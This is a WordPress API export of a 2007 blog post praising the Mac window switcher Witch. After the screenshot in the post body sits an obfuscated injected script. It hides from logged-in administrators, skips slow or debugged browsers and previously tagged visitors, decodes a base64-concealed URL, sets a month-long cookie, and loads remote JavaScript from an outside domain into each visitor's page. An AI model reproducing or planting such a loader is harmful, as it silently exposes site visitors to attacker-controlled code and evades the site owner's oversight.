{"id":200,"date":"2007-06-05T23:55:46","date_gmt":"2007-06-06T03:55:46","guid":{"rendered":"http:\/\/www.callblog.net\/?p=200"},"modified":"2025-10-17T13:15:24","modified_gmt":"2025-10-17T17:15:24","slug":"witch-switcher","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/witch-switcher","title":{"rendered":"Witch Switcher?"},"content":{"rendered":"<p>I&#8217;ve only been using it for a few hours, but I feel the need to write about <a href=\"http:\/\/www.manytricks.com\/witch\/\">Witch<\/a> by <a href=\"http:\/\/www.manytricks.com\/\">Many Tricks<\/a>.  Expose lets you switch windows, but this can be difficult or confusing if you have many windows from many different applications open at the same time.  I&#8217;ll often find myself with 20+ windows open after a few hours of work on my Macbook, at which point Expos\u00c3\u00a9&#8217;s \u00e2\u20ac\u0153All Applications\u00e2\u20ac? (F9) feature is pretty much useless.  I usually end up selecting the application that I want from the dock and then using Expos\u00c3\u00a9&#8217;s \u00e2\u20ac\u0153Application Windows\u00e2\u20ac? (F10) function to find what I&#8217;m looking for.  I longed for an application switcher that showed me all open windows but also gave me their titles.<span class=\"Apple-converted-space\">\u00c2\u00a0 <\/span>Witch at least shows me the titles and application names.<\/p>\n<p>If I have any complaints, it&#8217;s that Witch doesn&#8217;t function exactly like Expos\u00c3\u00a9.  If I could configure it so a single tap of the F8 key makes the Witch panel appear and a second tap of F8 (or any of the other Expos\u00c3\u00a9 keys) would make it disappear.  Despite this minor annoyance, I still consider this a valuable addition to my productivity toolkit.  I have to give  props to <a href=\"http:\/\/www.tuaw.com\">The Unnoficial Apple Weblog<\/a>, where I <a href=\"http:\/\/www.tuaw.com\/2007\/01\/29\/witch-bring-windows-app-switching-to-mac-os-x\/\">first read<\/a> about Witch.<\/p>\n<p><a href=\"http:\/\/www.flickr.com\/photos\/thibeault\/532693221\/\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/farm2.static.flickr.com\/1424\/532693221_74657c71bf.jpg\" width=\"500\" height=\"313\" alt=\"Witch Screenshot\" \/><\/a><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;ve only been using it for a few hours, but I feel the need to write about Witch by Many Tricks. Expose lets you switch windows, but this can be difficult or confusing if you have many windows from many different applications open at the same time. I&#8217;ll often find myself with 20+ windows open [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[30,6],"tags":[],"class_list":["post-200","post","type-post","status-publish","format-standard","hentry","category-mac","category-technology"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/200","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=200"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/200\/revisions"}],"predecessor-version":[{"id":784,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/200\/revisions\/784"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=200"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=200"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=200"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}